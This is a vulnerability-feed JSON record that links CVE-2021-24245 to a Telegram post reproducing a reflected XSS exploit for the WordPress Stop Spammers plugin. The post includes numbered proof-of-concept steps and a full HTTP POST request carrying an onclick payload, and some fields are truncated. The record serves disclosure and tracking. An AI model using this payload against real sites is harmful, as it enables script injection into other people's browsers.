{"uuid": "c233445c-4abd-46dd-82aa-5fa7e8d34125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24245", "type": "seen", "source": "https://t.me/hacking_Attack/9360", "content": "Exploit Collector\nWordPress Stop Spammers 2021.8 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-466o0SY5wbQ/WWlvXOxbxYI/AAAAAAAAIOQ/eHwtwujRsQI9h-mxYQXglBmw7d5gufaKwCLcBGAs/s1600/h51.png \nWordPress Stop Spammers plugin versions 2021.8 and below suffer from a cross site scripting vulnerability.\n\nMD5 | b2b18e13ea332826d5e2948f54b7b175\n\nDownload\n# Exploit Title: WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)\n# Date: 04/08/2021\n# Exploit Author: Hosein Vita\n# Vendor Homepage: https://wordpress.org/plugins/stop-spammer-registrations-plugin/\n# Software Link: https://downloads.wordpress.org/plugin/stop-spammer-registrations-plugin.zip\n# Version: <=\n# Tested on: Windows-Ubuntu\n# CVE : CVE-2021-24245\n\nSummary:\n\nReflected cross-site scripting (XSS) vulnerabilities in 'Stop Spammers <=\n\nProof of concepts:\n\n1-Install \"Stop Spammers <=\n2-For testing remove your IP address from the allowed list\n3-Go to http:// ad\" accesskey=X onclick=alert(1) \"\n#Notice the `ad` keyword must be in your payload!\n5-Press Alt + Shift + X to trigger Xss\n#Tested on Firefox\n\nRequest POC:\n\nPOST /wp-login.php HTTP/1.1\nHost: localhost\nConnection: close\nContent-Length: 161\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nCookie: wordpress_test_cookie=WP+Cookie+check;\n\nlog=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:41.438026Z"}